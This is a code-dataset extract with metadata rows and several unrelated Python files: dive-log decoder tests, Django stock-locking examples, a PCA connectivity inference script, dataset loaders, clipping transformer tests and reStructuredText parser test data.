b9a437e099d41eb967fc0fa2280ba48022c64565
| 2,538
|
py
|
Python
|
tests/records/test_configuration_decoder.py
|
DiveWithDamian/divesoft-parser
|
7f71704323a2a456867c4878cf39f6e217ad91b5
|
[
"MIT"
] | null | null | null |
tests/records/test_configuration_decoder.py
|
DiveWithDamian/divesoft-parser
|
7f71704323a2a456867c4878cf39f6e217ad91b5
|
[
"MIT"
] | 18
|
2021-05-22T08:14:21.000Z
|
2022-03-13T23:20:04.000Z
|
tests/records/test_configuration_decoder.py
|
DiveWithDamian/divesoft-parser
|
7f71704323a2a456867c4878cf39f6e217ad91b5
|
[
"MIT"
] | null | null | null |
from divesoft_parser.decoders.records.configuration import ConfigurationRecordParser
from divesoft_parser.models.enums import DiveRecordType, ConfigurationType
from divesoft_parser.utilities import BitArray
def test_configuration_decoder_1():
cfg = ConfigurationRecordParser(
DiveRecordType.Configuration,
BitArray(bytes.fromhex('f6ffbf00')),
bytes.fromhex('000300011102000008160000'),
).decode()
assert cfg.record_type == DiveRecordType.Configuration
assert cfg.configuration_type == ConfigurationType.Version
# { "device": 0,
# "hwMajor": 3, "hwMinor": 0,
# "swMajor": 1, "swMinor": 17,
# "swPatchLevel": 2, "swFlags": 0, "swBuild": 5640 }
assert cfg.device == 0
assert cfg.hardware_major == 3
assert cfg.hardware_minor == 0
assert cfg.software_major == 1
assert cfg.software_minor == 17
assert cfg.software_patch == 2
assert cfg.software_flags == 0
assert cfg.software_build == 5640
def test_configuration_decoder_2():
cfg = ConfigurationRecordParser(
DiveRecordType.Configuration,
BitArray(bytes.fromhex('f6ffbf00')),
bytes.fromhex('000300010f030000ab120000'),
).decode()
assert cfg.record_type == DiveRecordType.Configuration
assert cfg.configuration_type == ConfigurationType.Version
# { "device": 0,
# "hwMajor": 3, "hwMinor": 0,
# "swMajor": 1, "swMinor": 15,
# "swPatchLevel": 3, "swFlags": 0, "swBuild": 4779 }
assert cfg.device == 0
assert cfg.hardware_major == 3
assert cfg.hardware_minor == 0
assert cfg.software_major == 1
assert cfg.software_minor == 15
assert cfg.software_patch == 3
assert cfg.software_flags == 0
assert cfg.software_build == 4779
def test_configuration_decoder_3():
cfg = ConfigurationRecordParser(
DiveRecordType.Configuration,
BitArray(bytes.fromhex('f6ffbf00')),
bytes.fromhex('000300010f02000033120000'),
).decode()
assert cfg.record_type == DiveRecordType.Configuration
assert cfg.configuration_type == ConfigurationType.Version
# { "device": 0,
# "hwMajor": 3, "hwMinor": 0,
# "swMajor": 1, "swMinor": 15,
# "swPatchLevel": 2, "swFlags": 0, "swBuild": 4659 }
assert cfg.device == 0
assert cfg.hardware_major == 3
assert cfg.hardware_minor == 0
assert cfg.software_major == 1
assert cfg.software_minor == 15
assert cfg.software_patch == 2
assert cfg.software_flags == 0
assert cfg.software_build == 4659
| 33.394737
| 84
| 0.681245
| 274
| 2,538
| 6.167883
| 0.193431
| 0.159763
| 0.150888
| 0.063905
| 0.772189
| 0.746154
| 0.746154
| 0.746154
| 0.746154
| 0.719527
| 0
| 0.075322
| 0.204886
| 2,538
| 75
| 85
| 33.84
| 0.762141
| 0.152088
| 0
| 0.72549
| 0
| 0
| 0.044881
| 0.033661
| 0
| 0
| 0
| 0
| 0.588235
| 1
| 0.058824
| false
| 0
| 0.058824
| 0
| 0.117647
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b9e22ebe8421f6c166d40b953bc28690b4baf7c6
| 5,004
|
py
|
Python
|
items/models.py
|
twtrubiks/django-transactions-tutorial
|
b28538fcd12e6fbfd404c89ff43904072e83dbc3
|
[
"MIT"
] | 33
|
2018-02-19T07:27:49.000Z
|
2021-12-15T19:27:13.000Z
|
items/models.py
|
AmriSulaiman78/django-transactions-tutorial
|
b28538fcd12e6fbfd404c89ff43904072e83dbc3
|
[
"MIT"
] | null | null | null |
items/models.py
|
AmriSulaiman78/django-transactions-tutorial
|
b28538fcd12e6fbfd404c89ff43904072e83dbc3
|
[
"MIT"
] | 11
|
2018-02-21T06:11:41.000Z
|
2022-03-21T03:42:01.000Z
|
import threading
import time
from django.db import models
from django.db import transaction
class Item(models.Model):
stock = models.IntegerField(default=0)
price = models.PositiveIntegerField(default=0)
last_modify_date = models.DateTimeField(auto_now=True)
created = models.DateTimeField(auto_now_add=True)
""" track of changes """
version = models.IntegerField(default=0)
def create_items_no_transaction(**kwargs):
count = int(kwargs.get('count'))
result_code = 200
try:
for i in range(0, count):
if i == count - 2:
Item.objects.create(stock=100, price='error')
else:
Item.objects.create(stock=100, price=10)
except Exception as e:
Exception('Unexpected error: {}'.format(e))
result_code = 500
return result_code
def create_items_with_transaction(**kwargs):
count = int(kwargs.get('count'))
result_code = 200
try:
with transaction.atomic():
for i in range(0, count):
if i == count - 2:
Item.objects.create(stock=100, price='error')
else:
Item.objects.create(stock=100, price=10)
except Exception as e:
Exception('Unexpected error: {}'.format(e))
result_code = 500
return result_code
def data_no_consistency_purchase(delay=0.02):
for i in range(0, 100):
item = Item.objects.get(id=1)
item.stock = item.stock + 1
item.save()
time.sleep(delay)
print('data_no_consistency_purchase done')
def data_no_consistency_pick_up(delay=0.05):
for i in range(0, 100):
item = Item.objects.get(id=1)
item.stock = item.stock - 1
item.save()
time.sleep(delay)
print('data_no_consistency_pick_up done')
def data_no_consistency():
threading.Thread(target=data_no_consistency_purchase).start()
threading.Thread(target=data_no_consistency_pick_up).start()
return 200
def consistency_optimistic_purchase(delay=0.01):
i = 0
"""use version (add field) track of changes """
while i < 100:
old_item = Item.objects.get(id=1)
stock = old_item.stock
version = old_item.version
item = Item.objects.filter(id=1, version=version).update(stock=stock + 1, version=version + 1)
if item:
i += 1
else:
print('item is null (optimistic_purchase)')
time.sleep(delay)
"""use stock track of changes """
while i < 100:
old_item = Item.objects.get(id=1)
stock = old_item.stock
item = Item.objects.filter(id=1, stock=stock).update(stock=stock + 1)
if item:
i += 1
else:
print('item is null (optimistic_purchase)')
time.sleep(delay)
print('data_no_consistency_purchase done')
return 200
def consistency_optimistic_pick_up(delay=0.02):
i = 0
"""use version (add field) track of changes """
while i < 100:
old_item = Item.objects.get(id=1)
stock = old_item.stock
version = old_item.version
item = Item.objects.filter(id=1, version=version).update(stock=stock - 1, version=version + 1)
if item:
i += 1
else:
print('item is null (optimistic_pick_up)')
time.sleep(delay)
"""use stock track of changes """
while i < 100:
old_item = Item.objects.get(id=1)
stock = old_item.stock
item = Item.objects.filter(id=1, stock=stock).update(stock=stock - 1)
if item:
i += 1
else:
print('item is null (optimistic_pick_up)')
time.sleep(delay)
print('data_no_consistency_purchase done')
return 200
def consistency_pessimistic_purchase(delay=0.02):
for i in range(0, 100):
try:
with transaction.atomic():
item = Item.objects.select_for_update().get(id=1)
item.stock = item.stock + 1
item.save()
time.sleep(delay)
except Exception as e:
Exception('Unexpected error: {}'.format(e))
print('data_no_consistency_pick_up done')
def consistency_pessimistic_pick_up(delay=0.05):
for i in range(0, 100):
try:
with transaction.atomic():
item = Item.objects.select_for_update().get(id=1)
item.stock = item.stock - 1
item.save()
time.sleep(delay)
except Exception as e:
Exception('Unexpected error: {}'.format(e))
print('data_no_consistency_pick_up done')
def data_consistency():
""" use pessimistic """
# threading.Thread(target=consistency_pessimistic_purchase).start()
# threading.Thread(target=consistency_pessimistic_pick_up).start()
""" use optimistic """
threading.Thread(target=consistency_optimistic_purchase).start()
threading.Thread(target=consistency_optimistic_pick_up).start()
return 200
| 31.275
| 102
| 0.61271
| 640
| 5,004
| 4.642188
| 0.14375
| 0.059239
| 0.060586
| 0.022215
| 0.838438
| 0.76237
| 0.706496
| 0.706496
| 0.706496
| 0.695389
| 0
| 0.033343
| 0.27478
| 5,004
| 159
| 103
| 31.471698
| 0.78534
| 0.029576
| 0
| 0.779528
| 0
| 0
| 0.092417
| 0.044593
| 0
| 0
| 0
| 0
| 0
| 1
| 0.07874
| false
| 0
| 0.031496
| 0
| 0.204724
| 0.07874
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b9eff1bd6cf54d712fda3ed001a1196f4e621bcc
| 8,766
|
py
|
Python
|
data/external/repositories_2to3/80097/kaggle-connectomics-master/code/PCA.py
|
Keesiu/meta-kaggle
|
87de739aba2399fd31072ee81b391f9b7a63f540
|
[
"MIT"
] | null | null | null |
data/external/repositories_2to3/80097/kaggle-connectomics-master/code/PCA.py
|
Keesiu/meta-kaggle
|
87de739aba2399fd31072ee81b391f9b7a63f540
|
[
"MIT"
] | null | null | null |
data/external/repositories_2to3/80097/kaggle-connectomics-master/code/PCA.py
|
Keesiu/meta-kaggle
|
87de739aba2399fd31072ee81b391f9b7a63f540
|
[
"MIT"
] | 1
|
2019-12-04T08:23:33.000Z
|
2019-12-04T08:23:33.000Z
|
# Authors: Aaron Qiu <zqiu@ulg.ac.be>,
# Antonio Sutera <a.sutera@ulg.ac.be>,
# Arnaud Joly <a.joly@ulg.ac.be>,
# Gilles Louppe <g.louppe@ulg.ac.be>,
# Vincent Francois <v.francois@ulg.ac.be>
#
# License: BSD 3 clause
import numpy as np
from sklearn.decomposition import PCA
from utils import scale
# #########################################
# ####### SIMPLIFIED METHOD ###############
# #########################################
def f1(X):
return X + np.roll(X, -1, axis=0) + np.roll(X, 1, axis=0)
def f2(X):
return (X + np.roll(X, 1, axis=0) + 0.8 * np.roll(X, 2, axis=0)
+ 0.4 * np.roll(X, 3, axis=0))
def g(X):
return np.diff(X, axis=0)
def h(X, threshold=0.11):
threshold1 = X < threshold * 1
threshold2 = X >= threshold * 1
X_new = np.zeros_like(X)
X_new[threshold1] = 0
X_new[threshold2] = X[threshold2]
return X_new
def w(X):
X_new = X
Sum_X_new = np.sum(X_new, axis=1)
Sum4 = Sum_X_new
normalization = np.max(Sum4)
for i in range(X_new.shape[0]):
r = Sum4[i] / normalization
if Sum4[i] != 0:
X_new[i, :] = ((X_new[i, :] + 1) ** (1 + (1. / Sum4[i])))
else:
X_new[i, :] = 1
return X_new
def simple_filter(X, LP='f1', threshold=0.11, weights=True):
if LP == 'f1':
X = f1(X)
elif LP == 'f2':
X = f2(X)
else:
raise ValueError("Unknown filter, got %s." % LP)
X = g(X)
X = h(X)
if weights:
X = w(X)
return X
def tuned_filter(X, LP='f1', threshold=0.11, weights=True):
if LP == 'f1':
X = f1(X)
elif LP == 'f2':
X = f2(X)
elif LP == 'f3':
X = f3(X)
elif LP == 'f4':
X = f4(X)
else:
raise ValueError("Unknown filter, got %s." % LP)
X = g(X)
X = h(X)
X = r(X)
if weights:
X = w_star(X)
return X
def make_simple_inference(X):
print('Making simple inference...')
t = [0.100, 0.101, 0.102, 0.103, 0.104, 0.105, 0.106, 0.107, 0.108, 0.109,
0.110, 0.111, 0.112, 0.113, 0.114, 0.115, 0.116, 0.117, 0.118, 0.119,
0.120, 0.121, 0.122, 0.123, 0.124, 0.125, 0.126, 0.127, 0.128, 0.129,
0.130, 0.131, 0.132, 0.133, 0.134, 0.135, 0.136, 0.137, 0.138, 0.139,
0.140, 0.141, 0.142, 0.143, 0.144, 0.145, 0.146, 0.147, 0.148, 0.149,
0.150, 0.151, 0.152, 0.154, 0.155, 0.156, 0.157, 0.158, 0.159, 0.160,
0.161, 0.162, 0.163, 0.164, 0.165, 0.166, 0.167, 0.168, 0.169, 0.170,
0.171, 0.172, 0.173, 0.174, 0.175, 0.176, 0.177, 0.178, 0.179, 0.180,
0.181, 0.182, 0.183, 0.184, 0.185, 0.186, 0.187, 0.188, 0.189, 0.190,
0.191, 0.192, 0.193, 0.194, 0.195, 0.196, 0.197, 0.198, 0.199, 0.200,
0.201, 0.202, 0.203, 0.204, 0.205, 0.206, 0.207, 0.208, 0.209, 0.200,
0.201, 0.202, 0.203, 0.204, 0.205, 0.206, 0.207, 0.208, 0.209, 0.210]
weight = 0
n_samples, n_nodes = X.shape
y_pred_agg = np.zeros((n_nodes, n_nodes))
for threshold in t:
for filtering in ["f1", "f2"]:
print('Current: %0.3f, %s' % (threshold, filtering))
X_new = simple_filter(X, LP=filtering, threshold=t, weights=True)
pca = PCA(whiten=True, n_components=int(0.8 * n_nodes)).fit(X_new)
y_pred = - pca.get_precision()
if filtering == 'f1':
y_pred_agg += y_pred
weight += 1
elif filtering == 'f2':
y_pred_agg += y_pred * 0.9
weight += 0.9
return scale(y_pred_agg / weight)
# #########################################
# ########### TUNED METHOD ################
# #########################################
def f3(X):
return (X + np.roll(X, -1, axis=0) + np.roll(X, -2, axis=0)
+ np.roll(X, 1, axis=0))
def f4(X):
return (X + np.roll(X, -1, axis=0) + np.roll(X, -2, axis=0)
+ np.roll(X, -3, axis=0))
def r(X):
return X**0.9
def w_star(X, filtering="f1"):
X_new = X
Sum_X_new = np.sum(X_new, axis=1)
Sum4 = Sum_X_new + 0.5 * np.roll(Sum_X_new, 1)
normalization = np.max(Sum4)
for i in range(X_new.shape[0]):
r = Sum4[i] / normalization
if filtering == "f1":
if Sum4[i] > 0 and r < 0.23 and r > 0.05:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.9)
elif Sum4[i] > 0 and r < 0.75:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.6)
elif Sum4[i] != 0:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.4)
else:
X_new[i, :] = 1
elif filtering == "f2":
if Sum4[i] > 0 and r < 0.23 and r > 0.05:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.9)
elif Sum4[i] > 0 and r < 0.75:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.6)
elif Sum4[i] != 0:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.4)
else:
X_new[i, :] = 1
elif filtering == "f3":
if Sum4[i] > 0 and r < 0.22 and r > 0.04:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.9)
elif Sum4[i] > 0 and r < 0.75:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.7)
elif Sum4[i] != 0:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.5)
else:
X_new[i, :] = 1
elif filtering == "f4":
if Sum4[i] > 0 and r < 0.22 and r > 0.08:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.9)
elif Sum4[i] != 0:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.5)
else:
X_new[i, :] = 1
else:
if Sum4[i] != 0:
X_new[i, :] = (((X_new[i, :] + 1)
** (1 + (1. / Sum4[i]))) ** 1.6)
else:
X_new[i, :] = 1
return X_new
def make_tuned_inference(X):
print('Making tuned inference...')
t = [0.100, 0.101, 0.102, 0.103, 0.104, 0.105, 0.106, 0.107, 0.108, 0.109,
0.110, 0.111, 0.112, 0.113, 0.114, 0.115, 0.116, 0.117, 0.118, 0.119,
0.120, 0.121, 0.122, 0.123, 0.124, 0.125, 0.126, 0.127, 0.128, 0.129,
0.130, 0.131, 0.132, 0.133, 0.134, 0.135, 0.136, 0.137, 0.138, 0.139,
0.140, 0.141, 0.142, 0.143, 0.144, 0.145, 0.146, 0.147, 0.148, 0.149,
0.150, 0.151, 0.152, 0.154, 0.155, 0.156, 0.157, 0.158, 0.159, 0.160,
0.161, 0.162, 0.163, 0.164, 0.165, 0.166, 0.167, 0.168, 0.169, 0.170,
0.171, 0.172, 0.173, 0.174, 0.175, 0.176, 0.177, 0.178, 0.179, 0.180,
0.181, 0.182, 0.183, 0.184, 0.185, 0.186, 0.187, 0.188, 0.189, 0.190,
0.191, 0.192, 0.193, 0.194, 0.195, 0.196, 0.197, 0.198, 0.199, 0.200,
0.201, 0.202, 0.203, 0.204, 0.205, 0.206, 0.207, 0.208, 0.209, 0.200,
0.201, 0.202, 0.203, 0.204, 0.205, 0.206, 0.207, 0.208, 0.209, 0.210]
weight = 0
n_samples, n_nodes = X.shape
y_pred_agg = np.zeros((n_nodes, n_nodes))
for threshold in t:
for filtering in ["f1", "f2", "f3", "f4"]:
print('Current: %0.3f, %s' % (threshold, filtering))
X_new = tuned_filter(X, LP=filtering, threshold=t, weights=True)
pca = PCA(whiten=True, n_components=int(0.8 * n_nodes)).fit(X_new)
y_pred = - pca.get_precision()
if filtering == 'f1':
y_pred_agg += y_pred
weight += 1
elif filtering == 'f2':
y_pred_agg += y_pred * 0.9
weight += 0.9
elif filtering == 'f3':
y_pred_agg += y_pred * 0.01
weight += 0.01
elif filtering == 'f4':
y_pred_agg += y_pred * 0.7
weight += 0.7
return scale(y_pred_agg / weight)
| 31.085106
| 79
| 0.414898
| 1,403
| 8,766
| 2.513186
| 0.161083
| 0.060125
| 0.045377
| 0.032331
| 0.806012
| 0.79949
| 0.773681
| 0.762904
| 0.762904
| 0.717243
| 0
| 0.225326
| 0.379306
| 8,766
| 281
| 80
| 31.19573
| 0.422716
| 0.031485
| 0
| 0.701571
| 0
| 0
| 0.022932
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.068063
| false
| 0
| 0.015707
| 0.031414
| 0.151832
| 0.020942
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
6a002bcf2d902e4df46343d676a6e5c52a651021
| 1,072
|
py
|
Python
|
nas_gcn_new_deepchem/Test.py
|
deephyper/nas-gcn
|
7faa66e9f4ec1f990a5ccdcfe0dd5255d4475b6f
|
[
"BSD-2-Clause"
] | null | null | null |
nas_gcn_new_deepchem/Test.py
|
deephyper/nas-gcn
|
7faa66e9f4ec1f990a5ccdcfe0dd5255d4475b6f
|
[
"BSD-2-Clause"
] | null | null | null |
nas_gcn_new_deepchem/Test.py
|
deephyper/nas-gcn
|
7faa66e9f4ec1f990a5ccdcfe0dd5255d4475b6f
|
[
"BSD-2-Clause"
] | null | null | null |
from nas_gcn.qm7.load_data import load_data
(X_train, y_train), (X_valid, y_valid) = load_data(test=False, seed=2020)
print('nas_gcn.qm7.load_data', f"{y_train.shape}")
from nas_gcn.qm8.load_data import load_data
(X_train, y_train), (X_valid, y_valid) = load_data(test=False, seed=2020)
print('nas_gcn.qm8.load_data', f"{y_train.shape}")
from nas_gcn.qm9.load_data import load_data
(X_train, y_train), (X_valid, y_valid) = load_data(test=False, seed=2020)
print('nas_gcn.qm9.load_data', f"{y_train.shape}")
from nas_gcn.esol.load_data import load_data
(X_train, y_train), (X_valid, y_valid) = load_data(test=False, seed=2020)
print('nas_gcn.esol.load_data', f"{y_train.shape}")
from nas_gcn.freesolv.load_data import load_data
(X_train, y_train), (X_valid, y_valid) = load_data(test=False, seed=2020)
print('nas_gcn.freesolv.load_data', f"{y_train.shape}")
from nas_gcn.lipophilicity.load_data import load_data
(X_train, y_train), (X_valid, y_valid) = load_data(test=False, seed=2020)
print('nas_gcn.lipophilicity.load_data', f"{y_train.shape}")
| 46.608696
| 74
| 0.751866
| 198
| 1,072
| 3.737374
| 0.116162
| 0.259459
| 0.081081
| 0.145946
| 0.994595
| 0.894595
| 0.867568
| 0.867568
| 0.867568
| 0.664865
| 0
| 0.030992
| 0.097015
| 1,072
| 23
| 75
| 46.608696
| 0.733471
| 0
| 0
| 0.333333
| 0
| 0
| 0.220742
| 0.135109
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
6a0649ca999cedf70544c97778262d176d3f4cc0
| 5,900
|
py
|
Python
|
build/lib.macosx-10.9-x86_64-3.9/gators/clipping/tests/test_clipping.py
|
Aditya-Kapadiya/gators
|
d7c9967e3a8e304a601b6a92ad834d03d3e36338
|
[
"Apache-2.0"
] | 4
|
2021-10-29T18:20:52.000Z
|
2022-03-31T22:53:03.000Z
|
build/lib.macosx-10.9-x86_64-3.9/gators/clipping/tests/test_clipping.py
|
Aditya-Kapadiya/gators
|
d7c9967e3a8e304a601b6a92ad834d03d3e36338
|
[
"Apache-2.0"
] | 1
|
2022-01-19T12:16:19.000Z
|
2022-01-19T12:16:19.000Z
|
build/lib.macosx-10.9-x86_64-3.9/gators/clipping/tests/test_clipping.py
|
Aditya-Kapadiya/gators
|
d7c9967e3a8e304a601b6a92ad834d03d3e36338
|
[
"Apache-2.0"
] | 5
|
2021-11-17T20:16:54.000Z
|
2022-02-21T18:21:02.000Z
|
# License: Apache-2.0
from gators.clipping.clipping import Clipping
import pytest
import numpy as np
import pandas as pd
import databricks.koalas as ks
from pandas.testing import assert_frame_equal
ks.set_option('compute.default_index_type', 'distributed-sequence')
@pytest.fixture
def data():
np.random.seed(0)
X = pd.DataFrame(
np.random.randn(5, 3),
columns=list('ABC')
)
clip_dict = {'A': [-0.5, 0.5], 'B': [-0.5, 0.5], 'C': [-100., 1.]}
obj = Clipping(clip_dict=clip_dict).fit(X)
X_expected = pd.DataFrame({
'A': [0.5, 0.5, 0.5, 0.4105985019, 0.5],
'B': [0.400157208, 0.5, -0.1513572082976979, 0.144043571160878, 0.12167501649282841],
'C': [0.9787379841057392, -0.977277879876411, -0.10321885179355784, 1.0, 0.4438632327]})
return obj, X, X_expected
@pytest.fixture
def data_int16():
np.random.seed(0)
X = pd.DataFrame(
5 * np.random.randn(5, 3),
columns=list('ABC')
).astype(np.int16)
clip_dict = {'A': [-5, 2], 'B': [-1, 3], 'C': [-2, 5]}
obj = Clipping(clip_dict=clip_dict, dtype=np.int16).fit(X)
X_expected = pd.DataFrame({
'A': [2, 2, 2, 2, 2],
'B': [2, 3, 0, 0, 0],
'C': [4, -2, 0, 5, 2]}
).astype(np.int16)
return obj, X, X_expected
@pytest.fixture
def data_partial():
np.random.seed(0)
X = pd.DataFrame(
np.random.randn(5, 3),
columns=list('ABC')
)
clip_dict = {'A': [-0.5, 0.5], 'B': [-0.5, 0.5]}
obj = Clipping(clip_dict=clip_dict).fit(X)
X_expected = pd.DataFrame({
'A': [0.5, 0.5, 0.5, 0.4105985019, 0.5],
'B': [0.400157208, 0.5, -0.1513572082976979, 0.144043571160878, 0.12167501649282841],
'C': [0.9787379841057392, -0.977277879876411, -0.10321885179355784, 1.454274, 0.4438632327]
})
return obj, X, X_expected
@pytest.fixture
def data_ks():
np.random.seed(0)
X = ks.DataFrame(
np.random.randn(5, 3),
columns=list('ABC')
)
clip_dict = {'A': [-0.5, 0.5], 'B': [-0.5, 0.5], 'C': [-100., 1.]}
obj = Clipping(clip_dict=clip_dict).fit(X)
X_expected = pd.DataFrame({
'A': [0.5, 0.5, 0.5, 0.4105985019, 0.5],
'B': [0.400157208, 0.5, -0.1513572082976979, 0.144043571160878, 0.12167501649282841],
'C': [0.9787379841057392, -0.977277879876411, -0.10321885179355784, 1.0, 0.4438632327]})
return obj, X, X_expected
@pytest.fixture
def data_int16_ks():
np.random.seed(0)
X = ks.DataFrame(
5 * np.random.randn(5, 3),
columns=list('ABC')
).astype(np.int16)
clip_dict = {'A': [-5, 2], 'B': [-1, 3], 'C': [-2, 5]}
obj = Clipping(clip_dict=clip_dict, dtype=np.int16).fit(X)
X_expected = pd.DataFrame({
'A': [2, 2, 2, 2, 2],
'B': [2, 3, 0, 0, 0],
'C': [4, -2, 0, 5, 2]}
).astype(np.int16)
return obj, X, X_expected
@pytest.fixture
def data_partial_ks():
np.random.seed(0)
X = ks.DataFrame(
np.random.randn(5, 3),
columns=list('ABC')
)
clip_dict = {'A': [-0.5, 0.5], 'B': [-0.5, 0.5]}
obj = Clipping(clip_dict=clip_dict).fit(X)
X_expected = pd.DataFrame({
'A': [0.5, 0.5, 0.5, 0.4105985019, 0.5],
'B': [0.400157208, 0.5, -0.1513572082976979, 0.144043571160878, 0.12167501649282841],
'C': [0.9787379841057392, -0.977277879876411, -0.10321885179355784, 1.454274, 0.4438632327]
})
return obj, X, X_expected
def test_pd(data):
obj, X, X_expected = data
X_new = obj.transform(X)
assert_frame_equal(X_new, X_expected)
@pytest.mark.koalas
def test_ks(data_ks):
obj, X, X_expected = data_ks
X_new = obj.transform(X)
assert_frame_equal(X_new.to_pandas(), X_expected)
def test_pd_np(data):
obj, X, X_expected = data
X_numpy_new = obj.transform_numpy(X.to_numpy())
X_new = pd.DataFrame(X_numpy_new)
assert np.allclose(X_new, X_expected.to_numpy())
@pytest.mark.koalas
def test_ks_np(data_ks):
obj, X, X_expected = data_ks
X_numpy_new = obj.transform_numpy(X.to_numpy())
X_new = pd.DataFrame(X_numpy_new)
assert np.allclose(X_new, X_expected.to_numpy())
def test_int16_pd(data_int16):
obj, X, X_expected = data_int16
X_new = obj.transform(X)
assert_frame_equal(X_new, X_expected)
@pytest.mark.koalas
def test_int16_ks(data_int16_ks):
obj, X, X_expected = data_int16_ks
X_new = obj.transform(X)
assert_frame_equal(X_new.to_pandas(), X_expected)
def test_int16_pd_np(data_int16):
obj, X, X_expected = data_int16
X_numpy_new = obj.transform_numpy(X.to_numpy())
X_new = pd.DataFrame(X_numpy_new)
assert np.allclose(X_new, X_expected.to_numpy())
@pytest.mark.koalas
def test_int16_ks_np(data_int16_ks):
obj, X, X_expected = data_int16_ks
X_numpy_new = obj.transform_numpy(X.to_numpy())
X_new = pd.DataFrame(X_numpy_new)
assert np.allclose(X_new, X_expected.to_numpy())
def test_partial_pd(data_partial):
obj, X, X_expected = data_partial
X_new = obj.transform(X)
assert_frame_equal(X_new, X_expected)
@pytest.mark.koalas
def test_partial_ks(data_partial_ks):
obj, X, X_expected = data_partial_ks
X_new = obj.transform(X)
assert_frame_equal(X_new.to_pandas(), X_expected)
def test_partial_pd_np(data_partial):
obj, X, X_expected = data_partial
X_numpy_new = obj.transform_numpy(X.to_numpy())
X_new = pd.DataFrame(X_numpy_new)
assert np.allclose(X_new, X_expected.to_numpy())
@pytest.mark.koalas
def test_partial_ks_np(data_partial_ks):
obj, X, X_expected = data_partial_ks
X_numpy_new = obj.transform_numpy(X.to_numpy())
X_new = pd.DataFrame(X_numpy_new)
assert np.allclose(X_new, X_expected.to_numpy())
def test_init(data):
with pytest.raises(TypeError):
_ = Clipping(clip_dict=0)
with pytest.raises(ValueError):
_ = Clipping(clip_dict={})
| 29.5
| 100
| 0.635763
| 943
| 5,900
| 3.759279
| 0.083775
| 0.021439
| 0.02031
| 0.066008
| 0.895063
| 0.891961
| 0.890832
| 0.865444
| 0.860367
| 0.810155
| 0
| 0.157067
| 0.202542
| 5,900
| 199
| 101
| 29.648241
| 0.596387
| 0.00322
| 0
| 0.7875
| 0
| 0
| 0.01667
| 0.004423
| 0
| 0
| 0
| 0
| 0.08125
| 1
| 0.11875
| false
| 0
| 0.0375
| 0
| 0.19375
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dbf62e2ba185f8b4056e35ee8ea4109ada95f20c
| 1,536
|
py
|
Python
|
src/ikazuchi/tests/data/rst/parse_section.py
|
t2y/ikazuchi
|
7023111e92fa47360c50cfefd1398c554475f2c6
|
[
"Apache-2.0"
] | null | null | null |
src/ikazuchi/tests/data/rst/parse_section.py
|
t2y/ikazuchi
|
7023111e92fa47360c50cfefd1398c554475f2c6
|
[
"Apache-2.0"
] | null | null | null |
src/ikazuchi/tests/data/rst/parse_section.py
|
t2y/ikazuchi
|
7023111e92fa47360c50cfefd1398c554475f2c6
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
DATA_SET = [
(
[u"=======\n",
u"section\n",
u"=======\n",
u""],
[("se",
[u"=======\n",
u"section\n",
u"=======\n"],
u""),
2]
),
(
[u"=======\n",
u"section\n",
u"=======\n"],
[("se",
[u"=======\n",
u"section\n",
u"=======\n"],
u""),
2]
),
(
[u"=========\n",
u" section\n",
u"=========\n",
u""],
[("se",
[u"=========\n",
u" section\n",
u"=========\n"],
u""),
2]
),
(
[u"=========\n",
u" section \n",
u"=========\n",
u""],
[("se",
[u"=========\n",
u" section \n",
u"=========\n"],
u""),
2]
),
(
[u"previous sentence.\n",
u"\n",
u"*******\n",
u"feature\n",
u"*******\n",
u""],
[(None,
[],
u""),
0]
),
(
[u"subsection\n",
u"----------\n",
u""],
[("se",
[u"subsection\n",
u"----------\n",
u""],
u""),
2]
),
(
[u"subsection\n",
u"----------\n"],
[("se",
[u"subsection\n",
u"----------\n"],
u""),
